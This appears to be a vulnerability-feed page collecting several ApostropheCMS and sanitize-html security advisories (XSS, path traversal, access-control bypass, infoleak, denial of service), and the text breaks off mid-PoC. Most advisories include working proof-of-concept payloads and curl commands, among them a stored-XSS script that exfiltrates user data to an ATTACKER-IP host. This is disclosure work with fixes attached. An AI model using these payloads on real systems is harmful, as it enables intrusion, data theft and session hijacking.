Where
-Infinity
0

Vendor Risk Score

See how apostrophecms compares to other vendors in security performance

View Risk Score →
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary When SVG animation is allowed, attributeName="href" makes values a list of URL destinations. sanitize-html accepts a list that starts with a safe fragment even when values is explicitly scheme-checked, allowing a later javascript: destination to execute when the sanitized link is activated.

Details index.js:371-383 validates each attribute as one flat URL. It does not recognize that attributeName="href" gives the sibling values attribute SMIL URI-list semantics. For values="#safe;javascript:...", the leading fragment passes the flat check and the complete list is retained.

PoC This was reproduced with sanitize-html@2.17.6 and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to values; it does not allow javascript:. Save this as poc.js:

js const sanitize = require('sanitize-html');

const input = <svg><a><animate attributeName="href" values="#safe;javascript:alert('XSS')" dur=".01s" fill="freeze"></animate><text y="30">Click me</text></a></svg>; const output = sanitize(input, { allowedTags: sanitize.defaults.allowedTags.concat(['svg', 'animate', 'text']), allowedAttributes: { ...sanitize.defaults.allowedAttributes, animate: ['attributename', 'values', 'dur', 'fill'], text: ['y'] }, allowedSchemesAppliedToAttributes: sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values']) }); console.log(output);

Install and run it, then open poc.html and click Click me:

sh npm install sanitize-html@2.17.6 node poc.js > poc.html

The output retains the javascript: entry, and clicking the sanitized SVG displays XSS. With input changed to <a href="javascript:alert(1)">control</a>, the same configuration removes href.

Impact In an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application's origin despite the configured scheme policy.

Suggested fix Reject attributeName values selecting href or xlink:href on SVG animate and set, while retaining safe targets such as fill. Add values, from, and to regression cases.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

ApostropheCMS is an open-source Node.js content management system. In 4.32.0 and earlier, PATCH /api/v1/article/:id accepts the inherited path toString.call and passes it through the utility module to apos.util.set() and apos.util.get(), allowing an authenticated editor to overwrite the shared Object.prototype.toString function's call property and cause a persistent process-wide denial of service until restart.

1 / 2
Source: NVD
First published (updated )
Severity
6.5
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

The @apostrophecms/import-export module reconstructs the on-disk source path of every imported attachment from JSON metadata contained in the uploaded archive.

The archive carries an aposAttachments.json file whose name and extension fields are concatenated into a filesystem path with no traversal check. The zip-slip guard that the module applies during tar extraction validates tar entry names only and does not cover this second path, which is built after extraction.

The file at the resulting path is read and copied into the public uploads directory, then served over HTTP without authentication. A ../ sequence in name makes the module read a file outside the extraction directory and publish it at an anonymous URL.

Result: an authenticated contributor reads any file on the host whose name ends in an allowlisted extension (other users' uploaded documents, text or CSV dumps, PDFs) by importing a crafted archive and fetching the planted attachment anonymously.

Affected

apostrophecms/apostrophe with the @apostrophecms/import-export module installed and registered. Module version 3.6.1 (current latest), tested against Apostrophe 4.31.0 (monorepo HEAD 4d478d9). Requires an account with the contributor role or higher; guest and anonymous requests are rejected. The module is not part of the default starter kit, so sites that never installed it are not affected. Files whose real name lacks an accepted file-group extension are not reachable.

Root cause

The import parser builds each attachment's source path by concatenating attacker-controlled JSON fields: lib/formats/gzip.js:46 sets file.path = path.join(attachmentFilesPath, ${attachment.id}-${attachment.name}.${attachment.extension}) from the aposAttachments.json entries in the uploaded archive. That path flows unchanged through lib/methods/import.js:832 (insertAttachments) into lib/methods/import.js:1074 (attachment.insert), where uploadfs copies the referenced file into the public uploads directory served by express.static. The archive's only traversal guard, lib/formats/gzip.js:143 (if (name.includes('../'))), validates tar entry names during extraction and never inspects the name/extension values used to construct the read path, so a name of ../../../../../../tmp/secret escapes attachmentFilesPath. Reaching the sink requires only an authenticated session (lib/methods/import.js:71), view permission on the target type (lib/methods/index.js:54), and the upload-attachment permission enforced at modules/@apostrophecms/attachment/index.js:442, which the built-in contributor role holds. The trailing .${extension} is appended and checked against the file-group allowlist in modules/@apostrophecms/attachment/index.js (getFileGroup), so the target file's real name must end in an accepted extension (txt, csv, pdf, xls, doc, svg, and similar).

Reproduction

Apostrophe 4.31.0 starter-kit-essentials, MongoDB, default roles, @apostrophecms/import-export 3.6.1 installed, local uploadfs backend.

1. Place a secret file outside the upload tree with an allowlisted extension.

$ cat /tmp/aposvictimsecret.txt TOP-SECRET DB DUMP DBPASSWORD=Pr0d-Secret-9981 APIKEY=sklivevictimabcdef

2. Build a gzip archive whose aposAttachments.json points the attachment name at that file through traversal (aposDocs.json is []).

[{"id":"evilatt0001","name":"../../../../../../../../../../../../tmp/aposvictimsecret","extension":"txt","title":"loot","docIds":[],"crops":[]}]

3. As a contributor, import the archive through the module's import action (POST /api/v1/@apostrophecms/<type>/import-export-import), then fetch the created attachment with no session.

$ curl -i http://localhost:3500/uploads/attachments/evilatt0001-apos-victim-secret.txt HTTP/1.1 200 OK Content-Type: text/plain; charset=UTF-8

TOP-SECRET DB DUMP DBPASSWORD=Pr0d-Secret-9981 APIKEY=sklivevictimabcdef

Live-verified: a contributor-driven import reads /tmp/aposvictimsecret.txt (outside the extraction directory) and serves it at an anonymous URL; the same import run as a guest is rejected at the upload-attachment check (modules/@apostrophecms/attachment/index.js:442).

Impact

- Read of arbitrary host files whose real name ends in an allowlisted extension (txt, csv, pdf, xls, doc, svg, and similar). - Disclosure of other users' uploaded documents and any allowlisted-extension file readable by the Node process. - The exfiltration target is copied to a public, unauthenticated URL. - Triggered by the contributor role in a single import, no admin interaction.

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de)

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Summary ApostropheCMS enforces per-type authorization on pages: a page type may declare editRole / publishRole (and the core @apostrophecms/archive-page does), so a project can have page-type subtrees that only higher-privileged roles are allowed to create or edit within. The move() operation is supposed to enforce that a page may only be moved into a parent the actor has create rights over — this is the same boundary the page-insert route enforces (the insert target is fetched with .permission('create')).

A regression in the move authorization guard silently disabled that destination check for every normal move. The guard now reads (oldParent.id !== parent.id) && (parent.type !== '@apostrophecms/archive-page') && (!parent.create) && (oldParent.type === '@apostrophecms/archive-page' && !parent.edit). Because the final && clause requires oldParent.type === '@apostrophecms/archive-page', the whole conjunction can only be true while restoring a page out of the archive. For any ordinary move (the source page's old parent is a normal page), that clause is false, the entire condition is false, and !parent.create is never evaluated. The only surviving gate in the whole path is moved.edit — i.e. "can the actor edit the page being moved", which a low-privileged editor legitimately holds for their own ordinary pages.

The result is that any authenticated user who can edit at least one page can relocate that page under a parent of a restricted type they have no create/edit rights over, and in doing so trigger an unauthenticated, unchecked updateMany that re-ranks the restricted parent's existing children (documents the actor cannot edit). This is reachable directly from the documented PATCH/PUT /api/v1/@apostrophecms/page/:id REST routes via the attacker-controlled targetId / position body fields.

Affected code (4.31.0)

The broken guard in move() — packages/apostrophe/modules/@apostrophecms/page/index.js:

js if (!moved.edit) { throw self.apos.error('forbidden'); } if (!(parent && oldParent)) { // Move outside tree throw self.apos.error('forbidden'); } if ( (oldParent.id !== parent.id) && (parent.type !== '@apostrophecms/archive-page') && (!parent.create) && (oldParent.type === '@apostrophecms/archive-page' && !parent.edit) // <-- regression: gates the whole check on "moving out of the archive" ) { throw self.apos.error('forbidden'); }

The target/parent is fetched with permission filtering explicitly OFF (so the guard above is the only thing that is supposed to enforce destination authorization) — getTarget():

js const target = await self.findForEditing(req, criteria) .permission(false) // target is located regardless of the actor's rights .archived(null) .areas(false) .ancestors({ depth: 1, ... permission: false }) .children({ depth: 1, ... permission: false }).toObject();

The privileged sink that then runs unguarded — nudgeNewPeers() re-ranks the destination parent's existing children with a raw DB write and no permission check:

js async function nudgeNewPeers() { const locale = moved.aposLocale.split(':')[0]; const criteria = { path: self.matchDescendants(parent), aposLocale: { $in: [ ${locale}:draft, ${locale}:published ] }, level: parent.level + 1, rank: { $gte: rank } }; // Nudge down the pages that should now follow us await self.apos.doc.db.updateMany(criteria, { $inc: { rank: 1 } }); ... }

The REST entry point — the patch route reaches move() after only the moved.edit gate, with attacker-controlled targetId / position:

js const page = await self.findOneForEditing(req, { id }); ... if (!page.edit) { throw self.apos.error('forbidden'); } ... if (input.targetId) { const targetId = self.apos.launder.string(input.targetId); const position = self.apos.launder.string(input.position); modified = await self.move(req, page.id, targetId, position); }

For comparison, the sibling page-insert route enforces the destination boundary correctly by fetching the target with create-permission filtering, so an actor without create rights under the target gets notfound:

js // post route (insert) const target = await self.getTarget(req, ...).permission('create') ... // restricted target is not found -> insert denied

Provenance (introduced regression) The guard was correct until commit 9f72bd229be07e537a2ae894f4527f2fe6bcd3bd ("allow restore pages"), which changed it from (oldParent.id !== parent.id) && (parent.type !== '@apostrophecms/archive-page') && (!parent.create) to the four-clause version above. The intent was to stop legitimate archive restores (where parent.create can be false) from being wrongly forbidden, but ANDing the new clause onto the existing chain gated the entire create enforcement on oldParent being the archive — silently removing destination authorization for all normal moves. The condition is unchanged at HEAD (4.31.0).

Attacker model / precondition The attacker is a low-privileged but content-editing authenticated user — in the core role model an editor or (in draft mode) a contributor — who can edit at least one ordinary page. No admin rights, no special tokens.

The differentiated-permission boundary that makes this a bypass must exist in the project. In core, permission.can(req, 'create'/'edit', type) is computed per page-type via checkRoleConfig('editRole'), so the boundary is present whenever a project configures a page type (or the archive) with an editRole / publishRole higher than the actor's role, or uses per-page editPermission / the @apostrophecms/workflow add-on to make edit / create page-specific. The core @apostrophecms/archive-page already ships editRole: 'admin' / publishRole: 'admin', and restricted section page types are a standard pattern. On a single-role site where every editor can already edit every page, the boundary does not exist and there is no additional impact — hence Medium, not High, in the general case. Where the boundary exists, this is a cross-boundary tree-restructuring and protected-sibling-mutation bypass.

Impact A user with no create/edit rights over a restricted page-type subtree can:

- Relocate a page they control into that restricted subtree (placing their content beneath an admin-only/role-gated section, changing its URL/slug to inherit the protected branch's path, and altering site structure across an authorization boundary), and - Cause an unchecked updateMany to re-rank the restricted parent's existing children — i.e. mutate (reorder) documents the actor is explicitly not permitted to edit.

This is an integrity / authorization-boundary violation. It does not, by itself, disclose restricted field contents (read access is still filtered elsewhere) — confidentiality impact is None — and it is not a remote code or availability bug. The security consequence is unauthorized modification of protected content structure/ordering and unauthorized placement of content inside a role-gated branch.

Proof of Concept (complete — runs on 127.0.0.1 only)

The PoC uses ApostropheCMS's own test harness (a real Apostrophe instance + MongoDB) to drive the real apos.page.move() code path with a non-admin editor request. It creates an admin-only section page type (editRole: 'admin'), an admin-owned secret section with a pre-existing admin-only child, and an ordinary page an editor may edit; the editor then moves their page under the admin-only section. The move succeeds (it must be forbidden), the page is relocated under the restricted branch, and the protected child is re-ranked.

Environment: Node 24, Docker (for MongoDB). Clone the repo at the anchor and install the workspace with pnpm.

bash 1. Disposable MongoDB on 127.0.0.1 docker run -d --name apos-mongo -p 27017:27017 mongo:7

2. Repo at the anchor git clone https://github.com/apostrophecms/apostrophe.git /tmp/dh-apostrophe cd /tmp/dh-apostrophe git checkout 68f1312d3 # 4.31.0 line npm i -g pnpm pnpm install --filter apostrophe...

3. Drop in the PoC test and run it cd /tmp/dh-apostrophe/packages/apostrophe (write test/poc-move-bac.js below, then:) npx mocha test/poc-move-bac.js

packages/apostrophe/test/poc-move-bac.js:

js // PoC: Broken Access Control in apos.page.move() // A non-admin (editor) can move a page they may edit UNDER a parent page // whose type is admin-only (editRole: 'admin'), bypassing the destination // "create" permission check that move() is supposed to enforce. const t = require('../test-lib/test.js'); const assert = require('assert');

describe('PoC move BAC', function() { let apos; this.timeout(t.timeout);

after(async function() { await t.destroy(apos); apos = null; });

before(async function() { apos = await t.create({ root: module, modules: { // A restricted page type: only admins may edit/create pages of this type. 'secret-page': { extend: '@apostrophecms/page-type', options: { editRole: 'admin', publishRole: 'admin' } }, // An ordinary page type any editor can edit/create. 'public-page': { extend: '@apostrophecms/page-type' }, '@apostrophecms/page': { options: { park: [], types: [ { name: '@apostrophecms/home-page', label: 'Home' }, { name: 'secret-page', label: 'Secret' }, { name: 'public-page', label: 'Public' } ] } } } }); });

it('demonstrates the BAC', async function() { const adminReq = apos.task.getReq({ role: 'admin' }); const home = await apos.page.find(adminReq, { level: 0 }).toObject();

// Admin creates an admin-only "secret" section page directly under home. const secret = await apos.page.insert(adminReq, home.id, 'lastChild', { title: 'Secret Section', type: 'secret-page', slug: '/secret' });

// Admin creates a pre-existing CHILD inside the secret section. Its rank // must NOT be silently rewritten by a lower-priv user's move. const secretChild = await apos.page.insert(adminReq, secret.id, 'lastChild', { title: 'Secret Child', type: 'secret-page', slug: '/secret/child' }); const secretChildBefore = await apos.page.find(adminReq, { id: secretChild.id }).toObject();

// A non-admin EDITOR. Editors can edit/create ordinary pages but NOT // pages of type secret-page (editRole: admin). const editorReq = apos.task.getReq({ role: 'editor', user: { id: 'editor-user', title: 'Editor', role: 'editor' } });

// The editor creates an ordinary page under home (allowed). const mine = await apos.page.insert(editorReq, home.id, 'lastChild', { title: 'My Page', type: 'public-page', slug: '/mine' });

// Sanity: confirm the editor genuinely lacks create/edit rights on the // secret section (so a move under it MUST be forbidden). const secretForEditor = await apos.page.find(editorReq, { id: secret.id }) .permission(false).toObject(); console.log('PRECONDITION editor.create on secret =', secretForEditor.create, ' editor.edit on secret =', secretForEditor.edit); assert.strictEqual(secretForEditor.create, undefined, 'precondition: editor must NOT have create rights on the admin-only section');

// THE ATTACK: editor moves their ordinary page UNDER the admin-only // secret section. This SHOULD throw "forbidden". If it succeeds, BAC. // Use 'firstChild' so the moved page takes rank 0 and the pre-existing // admin-only child must be nudged from rank 0 -> 1 (a write to a doc the // editor cannot edit). let moveError = null; try { await apos.page.move(editorReq, mine.id, secret.id, 'firstChild'); } catch (e) { moveError = e; }

const moved = await apos.page.find(adminReq, { id: mine.id }).toObject(); const secretChildAfter = await apos.page.find(adminReq, { id: secretChild.id }).toObject();

console.log('move threw:', moveError ? moveError.name : 'NOTHING (move succeeded)'); console.log('moved page path:', moved && moved.path); console.log('moved page is now under secret?', moved && moved.path.includes(secret.aposDocId)); console.log('secret child rank BEFORE:', secretChildBefore.rank, ' AFTER:', secretChildAfter.rank);

// Assertions that prove the vulnerability: assert.strictEqual(moveError, null, 'VULN NOT PRESENT: move was correctly forbidden'); assert.ok(moved.path.includes(secret.aposDocId), 'VULN: editor relocated their page under the admin-only section'); assert.notStrictEqual(secretChildAfter.rank, secretChildBefore.rank, 'VULN: editor re-ranked an admin-only sibling page they cannot edit');

console.log('\n BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children '); }); });

Observed output (4.31.0, commit 68f1312d3):

PoC move BAC Listening at http://localhost:34129 PRECONDITION editor.create on secret = undefined editor.edit on secret = undefined move threw: NOTHING (move succeeded) moved page path: iqhgqffcpe3iwoe7qqvr79rx/l0ua8mfilcfdp38vduhj4684/szhq36qak65mnefb5va1cv4d moved page is now under secret? true secret child rank BEFORE: 0 AFTER: 1

BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ✔ demonstrates the BAC (390ms)

1 passing (6s)

The precondition holds (editor.create on secret = undefined), the move did not throw (NOTHING), the editor's page is now physically under the admin-only section's path, and the protected sibling's rank was rewritten (0 → 1) by the editor's request. In a deployed site the identical effect is reachable over HTTP by a logged-in non-admin via PATCH /api/v1/@apostrophecms/page/<myPageId>:en:draft with body { "targetId": "<restrictedSectionId>:en:draft", "position": "firstChild" } (the route reaches move() after only the page.edit gate on the moved page).

Remediation Restore destination-parent authorization for all non-archive moves and special-case only the archive-restore path. Replace the broken guard with logic equivalent to:

js if ( (oldParent.id !== parent.id) && (parent.type !== '@apostrophecms/archive-page') && (!parent.create) && !(oldParent.type === '@apostrophecms/archive-page' && parent.edit) ) { throw self.apos.error('forbidden'); }

That is: a cross-parent move into a non-archive destination is forbidden unless the actor has create on the destination — with the single exception that restoring a page out of the archive into a destination the actor may edit is allowed. Equivalently, fetch the destination with .permission('create') (as the insert route does) and reject when it is not returned. Add a regression test asserting that a non-admin cannot move a page under a parent whose type carries a higher editRole/publishRole, mirroring the PoC above.

Please credit 5ud0 / Tarmo Technologies.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

Commit 49d0bb7 introduced a regression in sanitize-html that bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes option or textarea in its allowedTags configuration.

Details

The vulnerable code is at packages/sanitize-html/index.js:569-573:

javascript } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) { // htmlparser2 does not decode entities inside raw text elements like // textarea and option. The text is already properly encoded, so pass // it through without additional escaping to avoid double-encoding. result += text; }

The comment is factually incorrect. htmlparser2 10.x does decode HTML entities inside both <textarea> and <option> elements before passing text to the ontext callback. This can be verified:

javascript const htmlparser2 = require('htmlparser2'); const parser = new htmlparser2.Parser({ ontext(text) { console.log(JSON.stringify(text)); } }); parser.write('<option>&lt;script&gt;</option>'); // Outputs: "<", "script", ">" — entities are decoded

Because the code assumes the text is "already properly encoded" and skips escapeHtml(), the decoded entities (<, >) are written directly to the output as literal HTML characters. This completely bypasses the allowedTags filter — any tag can be injected inside an allowed option or textarea element using entity encoding.

The execution flow: 1. Attacker submits: <option>&lt;img src=x onerror=alert(1)&gt;</option> 2. htmlparser2 parses and decodes entities → ontext receives <img src=x onerror=alert(1)> 3. Code at line 569 checks: tag is option, which is in nonTextTagsArray → true 4. Line 573: result += text — writes decoded text directly without escaping 5. Output: <option><img src=x onerror=alert(1)></option> — <img> tag injected despite not being in allowedTags

The script and style tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to textarea and option, plus any custom elements added to nonTextTags by the user.

Prior to commit 49d0bb7, text in these elements fell through to the escapeHtml branch (line 574-580), which correctly re-encoded the decoded entities.

PoC

Prerequisites: Application using sanitize-html 2.17.2 with option or textarea in allowedTags.

Step 1: Basic tag injection via option javascript const sanitize = require('sanitize-html'); const output = sanitize( '<option>&lt;script&gt;alert(1)&lt;/script&gt;</option>', { allowedTags: ['option'] } ); console.log(output); // Expected (safe): <option>&lt;script&gt;alert(1)&lt;/script&gt;</option> // Actual (vulnerable): <option><script>alert(1)</script></option>

Step 2: Element breakout with XSS event handler javascript const output2 = sanitize( '<option>&lt;/option&gt;&lt;img src=x onerror=alert(document.cookie)&gt;</option>', { allowedTags: ['option'] } ); console.log(output2); // Output: <option></option><img src=x onerror=alert(document.cookie)></option> // The <img> tag escapes the option context and executes the onerror handler

Step 3: Textarea breakout (also vulnerable) javascript const output3 = sanitize( '<textarea>&lt;/textarea&gt;&lt;img src=x onerror=alert(1)&gt;</textarea>', { allowedTags: ['textarea'] } ); console.log(output3); // Output: <textarea></textarea><img src=x onerror=alert(1)></textarea>

Step 4: Full select/option context breakout javascript const output4 = sanitize( '<select><option>&lt;/option&gt;&lt;/select&gt;&lt;img src=x onerror=alert(1)&gt;</option></select>', { allowedTags: ['select', 'option'] } ); console.log(output4); // Output: <select><option></option></select><img src=x onerror=alert(1)></option></select> // Breaks out of both option and select elements

All outputs verified against sanitize-html 2.17.2 with htmlparser2 10.x.

Impact

- Complete allowedTags bypass: Any HTML tag can be injected through an allowed option or textarea element using entity encoding, defeating the core security guarantee of sanitize-html. - Stored XSS: Applications that sanitize user-submitted HTML and allow option or textarea tags (common in form builders, CMS platforms, rich text editors) are vulnerable to stored cross-site scripting. - Session hijacking: Attackers can inject event handlers (onerror, onload, etc.) to steal session cookies or authentication tokens. - Scope: Affects non-default configurations only — the default allowedTags does not include option or textarea. However, these tags are commonly allowed in applications that handle form-related HTML content.

Recommended Fix

Remove the vulnerable code block at lines 569-573 entirely. The escapeHtml branch (line 574) correctly handles these elements — htmlparser2 10.x decodes entities, and re-encoding with escapeHtml produces correct HTML output (entities are round-tripped, not double-encoded).

diff --- a/packages/sanitize-html/index.js +++ b/packages/sanitize-html/index.js @@ -566,11 +566,6 @@ function sanitizeHtml(html, options, recursing) { // your concern, don't allow them. The same is essentially true for style tags // which have their own collection of XSS vectors. result += text; - } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) { - // htmlparser2 does not decode entities inside raw text elements like - // textarea and option. The text is already properly encoded, so pass - // it through without additional escaping to avoid double-encoding. - result += text; } else if (!addedText) { const escaped = escapeHtml(text, false); if (options.textFilter) {

This fix restores the pre-49d0bb7 behavior where all non-script/style text content goes through escapeHtml(), ensuring decoded entities are properly re-encoded before output.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

The choices and counts query parameters in the Apostrophe CMS REST API allow unauthenticated users to extract distinct field values for any schema field that has a registered query builder, completely bypassing publicApiProjection restrictions that are intended to limit which fields are exposed publicly. Fields protected by viewPermission are similarly exposed.

Details

When a piece type configures publicApiProjection to enable public API access while restricting visible fields, the restriction is enforced via a MongoDB projection on the main query (piece-type/index.js:1130-1134). However, the choices and counts query builders bypass this protection through a separate code path.

The vulnerable flow:

1. getRestQuery at piece-type/index.js:1120 calls applyBuildersSafely(req.query) (line 1122), which processes query parameters including choices and counts since both have launder methods (doc-type/index.js:2627-2628 and 2675-2676).

2. The publicApiProjection is applied afterward (line 1130-1134) as a MongoDB projection on the main query.

3. During query execution, the choices builder's after handler (doc-type/index.js:2636-2668) iterates over requested field names. The only validation is: - The field has a registered builder (.has(query.builders, filter) at line 2651) - The builder has a launder method (line 2656)

All schema field types (string, integer, float, select, boolean, date, slug, relationship) register query builders with launder methods via addQueryBuilder in addFieldTypes.js.

4. toChoices (line 2661) calls the field's choices function, which typically calls sortedDistinct → toDistinct. The toDistinct method (doc-type/index.js:2811) executes db.distinct(property, criteria) — a MongoDB operation that returns all distinct values for the given property matching the criteria. MongoDB's distinct operation does not respect projections; it operates directly on the specified field regardless of any projection set on the query.

5. The results are stored via query.set('choicesResults', choices) (line 2666) and returned directly in the API response at piece-type/index.js:292-296 without any filtering against publicApiProjection or removeForbiddenFields.

The same bypass applies to viewPermission-protected fields: removeForbiddenFields (doc-type/index.js:1585-1611) only processes document results from toArray(), not the separate choices/counts data.

The page REST API has the same issue at page/index.js:371-376.

PoC

bash Prerequisites: - An Apostrophe 4.x instance with a piece type configured with publicApiProjection - Example: an 'article' piece type with: publicApiProjection: { title: 1, slug: 1, url: 1 } and additional schema fields like 'status' (select), 'priority' (integer), or 'internalNotes' (string) NOT in the projection

1. Verify normal API access only returns projected fields curl -s 'http://localhost:3000/api/v1/article' | python3 -m json.tool Response results contain only: title, slug, url (as configured)

2. Extract distinct values of a non-projected field via choices curl -s 'http://localhost:3000/api/v1/article?choices=status' | python3 -m json.tool Response includes: "choices": {"status": [{"value": "draft", "label": "draft"}, {"value": "published", "label": "published"}, ...]}

3. Extract distinct values with document counts via counts curl -s 'http://localhost:3000/api/v1/article?counts=priority' | python3 -m json.tool Response includes: "counts": {"priority": [{"value": 1, "label": "1", "count": 15}, {"value": 2, "label": "2", "count": 8}, ...]}

4. Multiple fields can be extracted at once curl -s 'http://localhost:3000/api/v1/article?choices=status,priority,internalNotes'

Impact

- Distinct field values leaked: An unauthenticated attacker can extract all distinct values of any schema field on any piece type that has publicApiProjection configured, even when those fields are explicitly excluded from the projection. - Field types affected: All field types that register query builders: string, slug, integer, float, select, boolean, date, and relationship fields. - Count disclosure: The counts variant additionally reveals how many documents have each distinct value, providing statistical information about the dataset. - viewPermission bypass: Fields protected with viewPermission (intended for role-based field access) are also exposed via this path. - Both APIs affected: The piece-type REST API (piece-type/index.js:292-296) and page REST API (page/index.js:371-376) are both vulnerable. - Real-world impact: If a CMS stores sensitive data in schema fields (e.g., internal status values, priority levels, internal categories, user-facing content marked as restricted), all distinct values are extractable by any unauthenticated visitor.

Recommended Fix

In the choices builder's after handler (doc-type/index.js:2636-2668), add validation to skip fields not permitted by publicApiProjection and viewPermission:

javascript // doc-type/index.js, in the choices builder's after handler (line 2644 area) for (const filter of filters) { if (!.has(query.builders, filter)) { continue; } if (!query.builders[filter].launder) { continue; }

// NEW: Enforce publicApiProjection restrictions on choices/counts const publicApiProjection = query.get('project'); if (publicApiProjection && !publicApiProjection[filter]) { continue; }

// NEW: Enforce viewPermission field restrictions const field = self.schema.find(f => f.name === filter); if (field && field.viewPermission && !self.apos.permission.can(query.req, field.viewPermission.action, field.viewPermission.type)) { continue; }

const query = baseQuery.clone(); queryfilter; choices[filter] = await query.toChoices(filter, { counts: query.get('counts') }); }

Additionally, apply the same fix in the page REST API handler (page/index.js) for consistency.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.

Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.

Affected Version ApostropheCMS (tested on version: v4.28.0)

Vulnerability Details User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:

- <title> - <meta> attributes - structured data (JSON-LD)

This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.

PoC 1

The following payload demonstrates breaking out of HTML context: javascript "></title><script>alert(1)</script> This confirms: - Improper output encoding - Ability to escape <title> / <meta> contexts - Arbitrary script execution

PoC 2 This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data. javascript "></title><script> fetch('/api/v1/@apostrophecms/user', { credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script>

Video Proof of Concept

Watch the following YouTube video for a full demonstration of the exploit:

PoC Video: https://youtu.be/FZuuluapa8

Steps to Reproduce

1. Start a local listener: python3 -m http.server 5656 2. Login to ApostropheCMS as an authenticated user 3. Create or edit a page 4. Navigate to SEO settings 5. Insert the payload into the SEO Title field and Meta Description javascript "></title><script> fetch('/api/v1/@apostrophecms/user',{ credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script> 6. Set Schema Type to "Web page" 7. Save and publish the page 8. Have an administrator visit the page

Result - The payload executes in the admin’s browser - The script sends a request to: /api/v1/@apostrophecms/user - The response contains sensitive user data: - usernames - email addresses - roles (including admin)

- The data is exfiltrated to the attacker-controlled server: - http://ATTACKER-IP:5656

Evidence - The attacker server receives: - GET /?data=BASE64ENCODEDRESPONSE - Decoding the response reveals sensitive application data.

Security Impact This vulnerability allows an attacker to: - Execute arbitrary JavaScript in an authenticated admin context - Perform authenticated API requests (session riding) - Access sensitive application data via internal APIs - Exfiltrate sensitive data to an external attacker-controlled server

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
XSS, Input Validation, CSRF
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

The @apostrophecms/color-field module bypasses color validation for values prefixed with -- (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into <style> tags — both in the global stylesheet (editors only) and in per-widget style elements (all visitors) — the lack of escaping allows an editor to inject </style> followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors.

Details

Root Cause 1: Validation bypass in color field (modules/@apostrophecms/color-field/index.js:36)

The color field's convert method uses TinyColor to validate color values, but exempts any value starting with --:

javascript // modules/@apostrophecms/color-field/index.js:26-38 async convert(req, field, data, destination) { destination[field.name] = self.apos.launder.string(data[field.name]); // ... const test = new TinyColor(destination[field.name]); if (!test.isValid && !destination[field.name].startsWith('--')) { destination[field.name] = null; } },

A value like --x: red}</style><script>alert(document.cookie)</script><style> passes validation because it starts with --. The launder.string() call performs type coercion only — it does not strip HTML metacharacters like <, >, or /.

Root Cause 2a: Unescaped rendering in widget styles (public path) (modules/@apostrophecms/styles/lib/methods.js:232-234)

The getWidgetElements() method concatenates the CSS string directly into a <style> tag:

javascript // modules/@apostrophecms/styles/lib/methods.js:232-234 return <style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n + css + '\n</style>';

This is then marked as safe HTML via template.safe() in the helpers (modules/@apostrophecms/styles/lib/helpers.js:17-20), and rendered for all visitors on any page containing a styled widget (modules/@apostrophecms/widget-type/index.js:426-432).

Root Cause 2b: Unescaped rendering in global stylesheet (editor path) (modules/@apostrophecms/template/index.js:1164-1165)

The renderNodes() function returns node.raw without escaping:

javascript // modules/@apostrophecms/template/index.js:1164-1165 if (node.raw != null) { return node.raw; }

Style nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can view-draft.

PoC

Prerequisites: An account with editor role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration.

Step 1: Authenticate and obtain a CSRF token and session cookie.

bash Login as editor COOKIEJAR=$(mktemp) curl -s -c "$COOKIEJAR" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -d '{"username":"editor","password":"editor123"}'

